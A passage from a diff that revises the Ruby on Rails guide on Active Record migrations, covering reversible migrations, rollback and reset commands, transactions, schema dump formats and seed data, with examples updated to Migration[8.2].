-* change_column_default (must supply a :from and :to option)
-* change_column_null
-* create_join_table
-* create_table
-* disable_extension
-* drop_join_table
-* drop_table (must supply a block)
-* enable_extension
-* remove_column (must supply a type)
-* remove_foreign_key (must supply a second table)
-* remove_index
-* remove_reference
-* remove_timestamps
-* rename_column
-* rename_index
-* rename_table
-
-`change_table` is also reversible, as long as the block does not call `change`,
-`change_default` or `remove`.
-
-`remove_column` is reversible if you supply the column type as the third
-argument. Provide the original column options too, otherwise Rails can't
-recreate the column exactly when rolling back:
+majority of cases in which Active Record knows how to reverse a migration's
+actions automatically. Below are some of the actions that `change` supports:
+
+* [`add_check_constraint`][]
+* [`add_column`][]
+* [`add_foreign_key`][]
+* [`add_index`][]
+* [`add_reference`][]
+* [`add_timestamps`][]
+* [`change_column_comment`][] (must supply `:from` and `:to` options)
+* [`change_column_default`][] (must supply `:from` and `:to` options)
+* [`change_column_null`][]
+* [`change_table_comment`][] (must supply `:from` and `:to` options)
+* [`create_join_table`][]
+* [`create_table`][]
+* `disable_extension`
+* [`drop_join_table`][]
+* [`drop_table`][] (must supply table creation options and block)
+* `enable_extension`
+* [`remove_check_constraint`][] (must supply original constraint expression)
+* [`remove_column`][] (must supply original type and column options)
+* [`remove_columns`][] (must supply original type and column options)
+* [`remove_foreign_key`][] (must supply other table and original options)
+* [`remove_index`][] (must supply columns and original options)
+* [`remove_reference`][] (must supply original options)
+* [`remove_timestamps`][] (must supply original options)
+* [`rename_column`][]
+* [`rename_index`][]
+* [`rename_table`][]
+
+[`change_table`][] is also reversible, as long as the block only calls
+reversible operations like the ones listed above.
+
+If you need to use any other methods, you should use `reversible` or write the
+`up` and `down` methods instead of using the `change` method.
+
+[`add_check_constraint`]:
+    https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-add_check_constraint
+[`add_foreign_key`]:
+    https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-add_foreign_key
+[`add_timestamps`]:
+    https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-add_timestamps
+[`change_column_comment`]:
+    https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-change_column_comment
+[`change_table_comment`]:
+    https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-change_table_comment
+[`drop_join_table`]:
+    https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-drop_join_table
+[`drop_table`]:
+    https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-drop_table
+[`remove_check_constraint`]:
+    https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-remove_check_constraint
+[`remove_foreign_key`]:
+    https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-remove_foreign_key
+[`remove_index`]:
+    https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-remove_index
+[`remove_reference`]:
+    https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-remove_reference
+[`remove_timestamps`]:
+    https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-remove_timestamps
+[`rename_column`]:
+    https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-rename_column
+[`remove_columns`]:
+    https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-remove_columns
+[`rename_index`]:
+    https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-rename_index
+[`rename_table`]:
+    https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-rename_table
+
+### Using `reversible`
+
+If you'd like for a migration to do something that Active Record doesn't know
+how to reverse, then you can use `reversible` to specify what to do when running
+a migration and what else to do when reverting it.
 
 ```ruby
-remove_column :posts, :slug, :string, null: false, default: '', index: true
+class ChangeProductsPrice < ActiveRecord::Migration[8.2]
+  def change
+    reversible do |direction|
+      change_table :products do |t|
+        direction.up   { t.change :price, :string }
+        direction.down { t.change :price, :integer }
+      end
+    end
+  end
+end
 ```
 
-If you're going to need to use any other methods, you should use `reversible`
-or write the `up` and `down` methods instead of using the `change` method.
+This migration will change the type of the `price` column to a string, or back
+to an integer when the migration is reverted. Notice the block being passed to
+`direction.up` and `direction.down` respectively.
 
-### Using `reversible`
+Alternatively, you can use `up` and `down` instead of `change`:
+
+```ruby
+class ChangeProductsPrice < ActiveRecord::Migration[8.2]
+  def up
+    change_table :products do |t|
+      t.change :price, :string
+    end
+  end
+
+  def down
+    change_table :products do |t|
+      t.change :price, :integer
+    end
+  end
+end
+```
 
-Complex migrations may require processing that Active Record doesn't know how
-to reverse. You can use `reversible` to specify what to do when running a
-migration and what else to do when reverting it. For example:
+Additionally, `reversible` is useful when executing raw SQL queries or
+performing database operations that do not have a direct equivalent in
+ActiveRecord methods. You can use [`reversible`][] to specify what to do when
+running a migration and what else to do when reverting it. For example:
 
 ```ruby
-class ExampleMigration < ActiveRecord::Migration[5.0]
+class ExampleMigration < ActiveRecord::Migration[8.2]
   def change
     create_table :distributors do |t|
       t.string :zipcode
     end
 
-    reversible do |dir|
-      dir.up do
-        # add a CHECK constraint
+    reversible do |direction|
+      direction.up do
+        # create a distributors view
         execute <<-SQL
-          ALTER TABLE distributors
-            ADD CONSTRAINT zipchk
-              CHECK (char_length(zipcode) = 5) NO INHERIT;
+          CREATE VIEW distributors_view AS
+          SELECT id, zipcode
+          FROM distributors;
         SQL
       end
-      dir.down do
+      direction.down do
         execute <<-SQL
-          ALTER TABLE distributors
-            DROP CONSTRAINT zipchk
+          DROP VIEW distributors_view;
         SQL
       end
     end
 
-    add_column :users, :home_page_url, :string
-    rename_column :users, :email, :email_address
+    add_column :users, :address, :string
   end
 end
 ```
 
-Using `reversible` will ensure that the instructions are executed in the
-right order too. If the previous example migration is reverted,
-the `down` block will be run after the `home_page_url` column is removed and
-right before the table `distributors` is dropped.
+Using `reversible` will ensure that the instructions are executed in the right
+order too. If the previous example migration is reverted, the `down` block will
+be run after the `users.address` column is removed and before the `distributors`
+table is dropped.
 
-Sometimes your migration will do something which is just plain irreversible; for
-example, it might destroy some data. In such cases, you can raise
-`ActiveRecord::IrreversibleMigration` in your `down` block. If someone tries
-to revert your migration, an error message will be displayed saying that it
-can't be done.
+[`reversible`]:
+    https://api.rubyonrails.org/classes/ActiveRecord/Migration.html#method-i-reversible
 
 ### Using the `up`/`down` Methods
 
 You can also use the old style of migration using `up` and `down` methods
 instead of the `change` method.
+
 The `up` method should describe the transformation you'd like to make to your
 schema, and the `down` method of your migration should revert the
 transformations done by the `up` method. In other words, the database schema
-should be unchanged if you do an `up` followed by a `down`. For example, if you
-create a table in the `up` method, you should drop it in the `down` method. It
-is wise to perform the transformations in precisely the reverse order they were
-made in the `up` method. The example in the `reversible` section is equivalent to:
+should be unchanged if you do an `up` followed by a `down`.
+
+For example, if you create a table in the `up` method, you should drop it in the
+`down` method. It is wise to perform the transformations in precisely the
+reverse order they were made in the `up` method. The example in the `reversible`
+section is equivalent to:
 
 ```ruby
-class ExampleMigration < ActiveRecord::Migration[5.0]
+class ExampleMigration < ActiveRecord::Migration[8.2]
   def up
     create_table :distributors do |t|
       t.string :zipcode
     end
 
-    # add a CHECK constraint
+    # create a distributors view
     execute <<-SQL
-      ALTER TABLE distributors
-        ADD CONSTRAINT zipchk
-        CHECK (char_length(zipcode) = 5);
+      CREATE VIEW distributors_view AS
+      SELECT id, zipcode
+      FROM distributors;
     SQL
 
-    add_column :users, :home_page_url, :string
-    rename_column :users, :email, :email_address
+    add_column :users, :address, :string
   end
 
   def down
-    rename_column :users, :email_address, :email
-    remove_column :users, :home_page_url
+    remove_column :users, :address
 
     execute <<-SQL
-      ALTER TABLE distributors
-        DROP CONSTRAINT zipchk
+      DROP VIEW distributors_view;
     SQL
 
     drop_table :distributors
@@ -658,19 +1091,38 @@ class ExampleMigration < ActiveRecord::Migration[5.0]
 end
 ```
 
-If your migration is irreversible, you should raise
-`ActiveRecord::IrreversibleMigration` from your `down` method. If someone tries
-to revert your migration, an error message will be displayed saying that it
-can't be done.
+### Throwing an error to prevent reverts
+
+Sometimes your migration will do something which is just plain irreversible; for
+example, it might destroy some data.
+
+In such cases, you can raise `ActiveRecord::IrreversibleMigration` in your
+`down` block.
+
+```ruby
+class IrreversibleMigrationExample < ActiveRecord::Migration[8.2]
+  def up
+    drop_table :example_table
+  end
+
+  def down
+    raise ActiveRecord::IrreversibleMigration, "This migration cannot be reverted because it destroys data."
+  end
+end
+```
+
+If someone tries to revert your migration, an error message will be displayed
+saying that it can't be done.
 
 ### Reverting Previous Migrations
 
-You can use Active Record's ability to rollback migrations using the `revert` method:
+You can use Active Record's ability to rollback migrations using the
+[`revert`][] method:
 
 ```ruby
-require_relative '20121212123456_example_migration'
+require_relative "20121212123456_example_migration"
 
-class FixupExampleMigration < ActiveRecord::Migration[5.0]
+class FixupExampleMigration < ActiveRecord::Migration[8.2]
   def change
     revert ExampleMigration
 
@@ -681,30 +1133,33 @@ class FixupExampleMigration < ActiveRecord::Migration[5.0]
 end
 ```
 
-The `revert` method also accepts a block of instructions to reverse.
-This could be useful to revert selected parts of previous migrations.
-For example, let's imagine that `ExampleMigration` is committed and it
-is later decided it would be best to use Active Record validations,
-in place of the `CHECK` constraint, to verify the zipcode.
+The `revert` method also accepts a block of instructions to reverse. This could
+be useful to revert selected parts of previous migrations.
+
+For example, let's imagine that `ExampleMigration` is committed and it is later
+decided that a Distributors view is no longer needed.
 
 ```ruby
-class DontUseConstraintForZipcodeValidationMigration < ActiveRecord::Migration[5.0]
+class DontUseDistributorsViewMigration < ActiveRecord::Migration[8.2]
   def change
     revert do
       # copy-pasted code from ExampleMigration
-      reversible do |dir|
-        dir.up do
-          # add a CHECK constraint
+      create_table :distributors do |t|
+        t.string :zipcode
+      end
+
+      reversible do |direction|
+        direction.up do
+          # create a distributors view
           execute <<-SQL
-            ALTER TABLE distributors
-              ADD CONSTRAINT zipchk
-                CHECK (char_length(zipcode) = 5);
+            CREATE VIEW distributors_view AS
+            SELECT id, zipcode
+            FROM distributors;
           SQL
         end
-        dir.down do
+        direction.down do
           execute <<-SQL
-            ALTER TABLE distributors
-              DROP CONSTRAINT zipchk
+            DROP VIEW distributors_view;
           SQL
         end
       end
@@ -715,45 +1170,47 @@ class DontUseConstraintForZipcodeValidationMigration < ActiveRecord::Migration[5
 end
 ```
 
-The same migration could also have been written without using `revert`
-but this would have involved a few more steps: reversing the order
-of `create_table` and `reversible`, replacing `create_table`
-by `drop_table`, and finally replacing `up` by `down` and vice-versa.
+The same migration could also have been written without using `revert` but this
+would have involved a few more steps:
+
+1. Reverse the order of `create_table` and `reversible`.
+2. Replace `create_table` with `drop_table`.
+3. Finally, replace `up` with `down` and vice-versa.
+
 This is all taken care of by `revert`.
 
-NOTE: If you want to add check constraints like in the examples above,
-you will have to use `structure.sql` as dump method. See
-[Schema Dumping and You](#schema-dumping-and-you).
+[`revert`]:
+    https://api.rubyonrails.org/classes/ActiveRecord/Migration.html#method-i-revert
 
 Running Migrations
 ------------------
 
-Rails provides a set of bin/rails tasks to run certain sets of migrations.
+Rails provides a set of commands to run certain sets of migrations.
 
-The very first migration related bin/rails task you will use will probably be
-`rails db:migrate`. In its most basic form it just runs the `change` or `up`
-method for all the migrations that have not yet been run. If there are
-no such migrations, it exits. It will run these migrations in order based
-on the date of the migration.
+The very first migration related rails command you will use will probably be
+`bin/rails db:migrate`. In its most basic form it just runs the `change` or `up`
+method for all the migrations that have not yet been run. If there are no such
+migrations, it exits. It will run these migrations in order based on the date of
+the migration.
 
-Note that running the `db:migrate` task also invokes the `db:schema:dump` task, which
-will update your `db/schema.rb` file to match the structure of your database.
+Note that running the `db:migrate` command also invokes the `db:schema:dump`
+command, which will update your `db/schema.rb` file to match the structure of
+your database.
 
 If you specify a target version, Active Record will run the required migrations
-(change, up, down) until it has reached the specified version. The version
-is the numerical prefix on the migration's filename. For example, to migrate
-to version 20080906120000 run:
+(change, up, down) until it has reached the specified version. The version is
+the numerical prefix on the migration's filename. For example, to migrate to
+version 20240428000000 run:
 
 ```bash
-$ bin/rails db:migrate VERSION=20080906120000
+$ bin/rails db:migrate VERSION=20240428000000
 ```
 
-If version 20080906120000 is greater than the current version (i.e., it is
-migrating upwards), this will run the `change` (or `up`) method
-on all migrations up to and
-including 20080906120000, and will not execute any later migrations. If
-migrating downwards, this will run the `down` method on all the migrations
-down to, but not including, 20080906120000.
+If version 20240428000000 is greater than the current version (i.e., it is
+migrating upwards), this will run the `change` (or `up`) method on all
+migrations up to and including 20240428000000, and will not execute any later
+migrations. If migrating downwards, this will run the `down` method on all the
+migrations down to, but not including, 20240428000000.
 
 ### Rolling Back
 
@@ -765,62 +1222,141 @@ number associated with the previous migration you can run:
 $ bin/rails db:rollback
 ```
 
-This will rollback the latest migration, either by reverting the `change`
-method or by running the `down` method. If you need to undo
-several migrations you can provide a `STEP` parameter:
+This will rollback the latest migration, either by reverting the `change` method
+or by running the `down` method. If you need to undo several migrations you can
+provide a `STEP` parameter:
 
 ```bash
 $ bin/rails db:rollback STEP=3
 ```
 
-will revert the last 3 migrations.
+The last 3 migrations will be reverted.
 
-The `db:migrate:redo` task is a shortcut for doing a rollback and then migrating
-back up again. As with the `db:rollback` task, you can use the `STEP` parameter
-if you need to go more than one version back, for example:
+In some cases where you modify a local migration and would like to rollback that
+specific migration before migrating back up again, you can use the
+`db:migrate:redo` command. As with the `db:rollback` command, you can use the
+`STEP` parameter if you need to go more than one version back, for example:
 
 ```bash
 $ bin/rails db:migrate:redo STEP=3
 ```
 
-Neither of these bin/rails tasks do anything you could not do with `db:migrate`. They
-are simply more convenient, since you do not need to explicitly specify the
-version to migrate to.
+NOTE: You could get the same result using `db:migrate`. However, these are there
+for convenience so that you do not need to explicitly specify the version to
+migrate to.
+
+#### Transactions
+
+In databases that support DDL transactions, changing the schema in a single
+transaction, each migration is wrapped in a transaction.
+
+INFO: A transaction ensures that if a migration fails partway through, any
+changes that were successfully applied are rolled back, maintaining database
+consistency. This means that either all operations within the transaction are
+executed successfully, or none of them are, preventing the database from being
+left in an inconsistent state if an error occurs during the transaction.
+
+If the database does not support DDL transactions with statements that change
+the schema, then when a migration fails, the parts of it that have succeeded
+will not be rolled back. You will have to rollback the changes manually.
+
+There are queries that you can’t execute inside a transaction though, and for
+these situations you can turn the automatic transactions off with
+`disable_ddl_transaction!`:
+
+```ruby
+class ChangeEnum < ActiveRecord::Migration[8.2]
+  disable_ddl_transaction!
+
+  def up
+    execute "ALTER TYPE model_size ADD VALUE 'new_value'"
+  end
+end
+```
+
+NOTE: Remember that you can still open your own transactions, even if you are in
+a Migration with self.disable_ddl_transaction!.
+
+### Setting Up the Database
+
+The `bin/rails db:setup` command will create the database, load the schema, and
+initialize it with the seed data.
 
-### Setup the Database
+### Preparing the Database
 
-The `rails db:setup` task will create the database, load the schema and initialize
-it with the seed data.
+The `bin/rails db:prepare` command is similar to `bin/rails db:setup`, but it
+operates idempotently, so it can safely be called several times, but it will
+only perform the necessary tasks once.
+
+* If the database has not been created yet, the command will run as the
+  `bin/rails db:setup` does.
+* If the database exists but the tables have not been created, the command will
+  load the schema, run any pending migrations, dump the updated schema, and
+  finally load the seed data. See the [Seeding Data
+  documentation](#migrations-and-seed-data) for more details.
+* If the database and tables exist, the command will do nothing.
+
+Once the database and tables exist, the `db:prepare` task will not try to reload
+the seed data, even if the previously loaded seed data or the existing seed file
+have been altered or deleted. To reload the seed data, you can manually run
+`bin/rails db:seed:replant`.
+
+NOTE: This task will only load seeds if one of the databases or tables created
+is a primary database for the environment or is configured with `seeds: true`.
 
 ### Resetting the Database
 
-The `rails db:reset` task will drop the database and set it up again. This is
-functionally equivalent to `rails db:drop db:setup`.
+The `bin/rails db:reset` command will drop the database and set it up again.
+This is functionally equivalent to `bin/rails db:drop db:setup`.
 
 NOTE: This is not the same as running all the migrations. It will only use the
-contents of the current `db/schema.rb` or `db/structure.sql` file. If a migration can't be rolled back,
-`rails db:reset` may not help you. To find out more about dumping the schema see
-[Schema Dumping and You](#schema-dumping-and-you) section.
+contents of the current `db/schema.rb` or `db/structure.sql` file. If a
+migration can't be rolled back, `bin/rails db:reset` may not help you. To find
+out more about dumping the schema see [Schema Dumping and You][] section.
+
+If you need an alternative to `db:reset` that explicitly runs all migrations,
+consider using the `bin/rails db:migrate:reset` command. You can follow that
+command with `bin/rails db:seed` if needed.
+
+NOTE: `bin/rails db:reset` rebuilds the database using the current schema. On
+the other hand, `bin/rails db:migrate:reset` replays all migrations from the
+beginning, which can lead to schema drift if, for example, migrations have been
+altered, reordered, or removed.
+
+[Schema Dumping and You]: #schema-dumping-and-you
 
 ### Running Specific Migrations
 
 If you need to run a specific migration up or down, the `db:migrate:up` and
-`db:migrate:down` tasks will do that. Just specify the appropriate version and
-the corresponding migration will have its `change`, `up` or `down` method
+`db:migrate:down` commands will do that. Just specify the appropriate version
+and the corresponding migration will have its `change`, `up` or `down` method
 invoked, for example:
 
 ```bash
-$ bin/rails db:migrate:up VERSION=20080906120000
+$ bin/rails db:migrate:up VERSION=20240428000000
 ```
 
-will run the 20080906120000 migration by running the `change` method (or the
-`up` method). This task will
-first check whether the migration is already performed and will do nothing if
-Active Record believes that it has already been run.
+By running this command the `change` method (or the `up` method) will be
+executed for the migration with the version "20240428000000".
+
+First, this command will check whether the migration exists and if it has
+already been performed and if so, it will do nothing.
+
+If the version specified does not exist, Rails will throw an exception.
+
+```bash
+$ bin/rails db:migrate VERSION=00000000000000
+rails aborted!
+ActiveRecord::UnknownMigrationVersionError:
+
+No migration with version number 00000000000000.
+```
 
 ### Running Migrations in Different Environments
 
-By default running `bin/rails db:migrate` will run in the `development` environment.
+By default running `bin/rails db:migrate` will run in the `development`
+environment.
+
 To run migrations against another environment you can specify it using the
 `RAILS_ENV` environment variable while running the command. For example to run
 migrations against the `test` environment you could run:
@@ -834,7 +1370,7 @@ $ bin/rails db:migrate RAILS_ENV=test
 By default migrations tell you exactly what they're doing and how long it took.
 A migration creating a table and adding an index might produce output like this
 
-```bash
+```
 ==  CreateProducts: migrating =================================================
 -- create_table(:products)
    -> 0.0028s
@@ -843,16 +1379,16 @@ A migration creating a table and adding an index might produce output like this
 
 Several methods are provided in migrations that allow you to control all this:
 
-| Method               | Purpose
-| -------------------- | -------
-| suppress_messages    | Takes a block as an argument and suppresses any output generated by the block.
-| say                  | Takes a message argument and outputs it as is. A second boolean argument can be passed to specify whether to indent or not.
-| say_with_time        | Outputs text along with how long it took to run its block. If the block returns an integer it assumes it is the number of rows affected.
+| Method                     | Purpose
+| -------------------------- | -------
+| [`suppress_messages`][]    | Takes a block as an argument and suppresses any output generated by the block.
+| [`say`][]                  | Takes a message argument and outputs it as is. A second boolean argument can be passed to specify whether to indent or not.
+| [`say_with_time`][]        | Outputs text along with how long it took to run its block. If the block returns an integer it assumes it is the number of rows affected.
 
-For example, this migration:
+For example, take the following migration:
 
 ```ruby
-class CreateProducts < ActiveRecord::Migration[5.0]
+class CreateProducts < ActiveRecord::Migration[8.2]
   def change
     suppress_messages do
       create_table :products do |t|
@@ -864,10 +1400,10 @@ class CreateProducts < ActiveRecord::Migration[5.0]
 
     say "Created a table"
 
-    suppress_messages {add_index :products, :name}
+    suppress_messages { add_index :products, :name }
     say "and an index!", true
 
-    say_with_time 'Waiting for a while' do
+    say_with_time "Waiting for a while" do
       sleep 10
       250
     end
@@ -875,9 +1411,9 @@ class CreateProducts < ActiveRecord::Migration[5.0]
 end
 ```
 
-generates the following output
+This will generate the following output:
 
-```bash
+```
 ==  CreateProducts: migrating =================================================
 -- Created a table
    -> and an index!
@@ -887,8 +1423,46 @@ generates the following output
 ==  CreateProducts: migrated (10.0054s) =======================================
 ```
 
-If you want Active Record to not output anything, then running `rails db:migrate
-VERBOSE=false` will suppress all output.
+If you want Active Record to not output anything, then running `bin/rails
+db:migrate VERBOSE=false` will suppress all output.
+
+[`say`]:
+    https://api.rubyonrails.org/classes/ActiveRecord/Migration.html#method-i-say
+[`say_with_time`]:
+    https://api.rubyonrails.org/classes/ActiveRecord/Migration.html#method-i-say_with_time
+[`suppress_messages`]:
+    https://api.rubyonrails.org/classes/ActiveRecord/Migration.html#method-i-suppress_messages
+
+### Rails Migration Version Control
+
+Rails keeps track of which migrations have been run through the
+`schema_migrations` table in the database. When you run a migration, Rails
+inserts a row into the `schema_migrations` table with the version number of the
+migration, stored in the `version` column. This allows Rails to determine which
+migrations have already been applied to the database.
+
+For example, if you have a migration file named 20240428000000_create_users.rb,
+Rails will extract the version number (20240428000000) from the filename and
+insert it into the schema_migrations table after the migration has been
+successfully executed.
+
+You can view the contents of the schema_migrations table directly in your
+database management tool or by using Rails console:
+
+```irb
+rails dbconsole
+```
+
+Then, within the database console, you can query the schema_migrations table:
+
+```sql
+SELECT * FROM schema_migrations;
+```
+
+This will show you a list of all migration version numbers that have been
+applied to the database. Rails uses this information to determine which
+migrations need to be run when you run rails db:migrate or rails db:migrate:up
+commands.
 
 Changing Existing Migrations
 ----------------------------
@@ -896,21 +1470,24 @@ Changing Existing Migrations
 Occasionally you will make a mistake when writing a migration. If you have
 already run the migration, then you cannot just edit the migration and run the
 migration again: Rails thinks it has already run the migration and so will do
-nothing when you run `rails db:migrate`. You must rollback the migration (for
-example with `bin/rails db:rollback`), edit your migration and then run
-`rails db:migrate` to run the corrected version.
-
-In general, editing existing migrations is not a good idea. You will be
-creating extra work for yourself and your co-workers and cause major headaches
-if the existing version of the migration has already been run on production
-machines. Instead, you should write a new migration that performs the changes
-you require. Editing a freshly generated migration that has not yet been
-committed to source control (or, more generally, which has not been propagated
-beyond your development machine) is relatively harmless.
-
-The `revert` method can be helpful when writing a new migration to undo
-previous migrations in whole or in part
-(see [Reverting Previous Migrations](#reverting-previous-migrations) above).
+nothing when you run `bin/rails db:migrate`. You must rollback the migration
+(for example with `bin/rails db:rollback`), edit your migration, and then run
+`bin/rails db:migrate` to run the corrected version.
+
+In general, editing existing migrations that have been already committed to
+source control is not a good idea. You will be creating extra work for yourself
+and your co-workers and cause major headaches if the existing version of the
+migration has already been run on production machines. Instead, you should write
+a new migration that performs the changes you require.
+
+However, editing a freshly generated migration that has not yet been committed
+to source control (or, more generally, has not been propagated beyond your
+development machine) is common.
+
+The `revert` method can be helpful when writing a new migration to undo previous
+migrations in whole or in part (see [Reverting Previous Migrations][] above).
+
+[Reverting Previous Migrations]: #reverting-previous-migrations
 
 Schema Dumping and You
 ----------------------
@@ -918,38 +1495,39 @@ Schema Dumping and You
 ### What are Schema Files for?
 
 Migrations, mighty as they may be, are not the authoritative source for your
-database schema. That role falls to either `db/schema.rb` or an SQL file which
-Active Record generates by examining the database. They are not designed to be
-edited, they just represent the current state of the database.
+database schema. **Your database remains the source of truth.**
 
-There is no need (and it is error prone) to deploy a new instance of an app by
-replaying the entire migration history. It is much simpler and faster to just
-load into the database a description of the current schema.
+By default, Rails generates `db/schema.rb` which attempts to capture the current
+state of your database schema.
 
-For example, this is how the test database is created: the current development
-database is dumped (either to `db/schema.rb` or `db/structure.sql`) and then
-loaded into the test database.
+It tends to be faster and less error prone to create a new instance of your
+application's database by loading the schema file via `bin/rails db:schema:load`
+than it is to replay the entire migration history. [Old migrations][] may fail
+to apply correctly if those migrations use changing external dependencies or
+rely on application code which evolves separately from your migrations.
 
-Schema files are also useful if you want a quick look at what attributes an
+TIP: Schema files are also useful if you want a quick look at what attributes an
 Active Record object has. This information is not in the model's code and is
 frequently spread across several migrations, but the information is nicely
-summed up in the schema file. The
-[annotate_models](https://github.com/ctran/annotate_models) gem automatically
-adds and updates comments at the top of each model summarizing the schema if
-you desire that functionality.
+summed up in the schema file.
+
+[Old migrations]: #old-migrations
 
 ### Types of Schema Dumps
 
-There are two ways to dump the schema. This is set in `config/application.rb`
-by the `config.active_record.schema_format` setting, which may be either `:sql`
-or `:ruby`.
+The format of the schema dump generated by Rails is controlled by the
+[`config.active_record.schema_format`][] setting defined in
+`config/application.rb`, or the `schema_format` value in the database configuration.
+By default, the format is `:ruby`, or alternatively can be set to `:sql`.
 
-If `:ruby` is selected, then the schema is stored in `db/schema.rb`. If you look
-at this file you'll find that it looks an awful lot like one very big
+#### Using the default `:ruby` schema
+
+When `:ruby` is selected, then the schema is stored in `db/schema.rb`. If you
+look at this file you'll find that it looks an awful lot like one very big
 migration:
 
 ```ruby
-ActiveRecord::Schema.define(version: 20080906171750) do
+ActiveRecord::Schema[8.2].define(version: 2008_09_06_171750) do
   create_table "authors", force: true do |t|
     t.string   "name"
     t.datetime "created_at"
@@ -968,65 +1546,86 @@ end
 
 In many ways this is exactly what it is. This file is created by inspecting the
 database and expressing its structure using `create_table`, `add_index`, and so
-on. Because this is database-independent, it could be loaded into any database
-that Active Record supports. This could be very useful if you were to
-distribute an application that is able to run against multiple databases.
-
-There is however a trade-off: `db/schema.rb` cannot express database specific
-items such as triggers, stored procedures or check constraints. While in a
-migration you can execute custom SQL statements, the schema dumper cannot
-reconstitute those statements from the database. If you are using features like
-this, then you should set the schema format to `:sql`.
-
-Instead of using Active Record's schema dumper, the database's structure will
-be dumped using a tool specific to the database (via the `db:structure:dump`
-rails task) into `db/structure.sql`. For example, for PostgreSQL, the `pg_dump`
-utility is used. For MySQL and MariaDB, this file will contain the output of
-`SHOW CREATE TABLE` for the various tables.
-
-Loading these schemas is simply a question of executing the SQL statements they
-contain. By definition, this will create a perfect copy of the database's
-structure. Using the `:sql` schema format will, however, prevent loading the
-schema into a RDBMS other than the one used to create it.
+on.
+
+#### Using the `:sql` schema dumper
+
+However, `db/schema.rb` cannot express everything your database may support such
+as triggers, sequences, stored procedures, etc.
+
+While migrations may use `execute` to create database constructs that are not
+supported by the Ruby migration DSL, these constructs may not be able to be
+reconstituted by the schema dumper.
+
+If you are using features like these, you should set the schema format to `:sql`
+in order to get an accurate schema file that is useful to create new database
+instances.
+
+When the schema format is set to `:sql`, the database structure will be dumped
+using a tool specific to the database into `db/structure.sql`. For example, for
+PostgreSQL, the `pg_dump` utility is used. For MySQL and MariaDB, this file will
+contain the output of `SHOW CREATE TABLE` for the various tables.
+
+To load the schema from `db/structure.sql`, run `bin/rails db:schema:load`.
+Loading this file is done by executing the SQL statements it contains. By
+definition, this will create a perfect copy of the database's structure.
+
+[`config.active_record.schema_format`]:
+    configuring.html#config-active-record-schema-format
 
 ### Schema Dumps and Source Control
 
-Because schema dumps are the authoritative source for your database schema, it
-is strongly recommended that you check them into source control.
+Because schema files are commonly used to create new databases, it is strongly
+recommended that you check your schema file into source control.
+
+Merge conflicts can occur in your schema file when two branches modify schema.
+To resolve these conflicts run `bin/rails db:migrate` to regenerate the schema
+file.
 
-`db/schema.rb` contains the current version number of the database. This
-ensures conflicts are going to happen in the case of a merge where both
-branches touched the schema. When that happens, solve conflicts manually,
-keeping the highest version number of the two.
+INFO: Newly generated Rails apps will already have the migrations folder
+included in the git tree, so all you have to do is be sure to add any new
+migrations you add and commit them.
 
 Active Record and Referential Integrity
 ---------------------------------------
 
-The Active Record way claims that intelligence belongs in your models, not in
-the database. As such, features such as triggers or constraints,
-which push some of that intelligence back into the database, are not heavily
-used.
+The Active Record pattern suggests that intelligence should primarily reside in
+your models rather than in the database. Consequently, features like triggers or
+constraints, which delegate some of that intelligence back into the database,
+are not always favored.
 
 Validations such as `validates :foreign_key, uniqueness: true` are one way in
-which models can enforce data integrity. The `:dependent` option on
-associations allows models to automatically destroy child objects when the
-parent is destroyed. Like anything which operates at the application level,
-these cannot guarantee referential integrity and so some people augment them
-with [foreign key constraints](#foreign-keys) in the database.
-
-Although Active Record does not provide all the tools for working directly with
-such features, the `execute` method can be used to execute arbitrary SQL.
+which models can enforce data integrity. The `:dependent` option on associations
+allows models to automatically destroy child objects when the parent is
+destroyed. Like anything which operates at the application level, these cannot
+guarantee referential integrity and so some people augment them with [foreign
+key constraints][] in the database.
+
+In practice, foreign key constraints and unique indexes are generally considered
+safer when enforced at the database level. Although Active Record does not
+provide direct support for working with these database-level features, you can
+still use the execute method to run arbitrary SQL commands.
+
+It's worth emphasizing that while the Active Record pattern emphasizes keeping
+intelligence within models, neglecting to implement foreign keys and unique
+constraints at the database level can potentially lead to integrity issues.
+Therefore, it's advisable to complement the AR pattern with database-level
+constraints where appropriate. These constraints should have their counterparts
+explicitly defined in your code using associations and validations to ensure
+data integrity across both application and database layers.
+
+[foreign key constraints]: #foreign-keys
 
 Migrations and Seed Data
 ------------------------
 
-The main purpose of Rails' migration feature is to issue commands that modify the
-schema using a consistent process. Migrations can also be used
-to add or modify data. This is useful in an existing database that can't be destroyed
-and recreated, such as a production database.
+The main purpose of the Rails migration feature is to issue commands that modify
+the schema using a consistent process. Migrations can also be used to add or
+modify data. This is useful in an existing database that can't be destroyed and
+recreated, such as a production database.
 
 ```ruby
-class AddInitialProducts < ActiveRecord::Migration[5.0]
+class AddInitialProducts < ActiveRecord::Migration[8.2]
   def up
     5.times do |i|
       Product.create(name: "Product ##{i}", description: "A product.")
@@ -1039,17 +1638,180 @@ class AddInitialProducts < ActiveRecord::Migration[5.0]
 end
 ```
 
-To add initial data after a database is created, Rails has a built-in
-'seeds' feature that makes the process quick and easy. This is especially
-useful when reloading the database frequently in development and test environments.
-It's easy to get started with this feature: just fill up `db/seeds.rb` with some
-Ruby code, and run `rails db:seed`:
+To add initial data after a database is created, Rails has a built-in 'seeds'
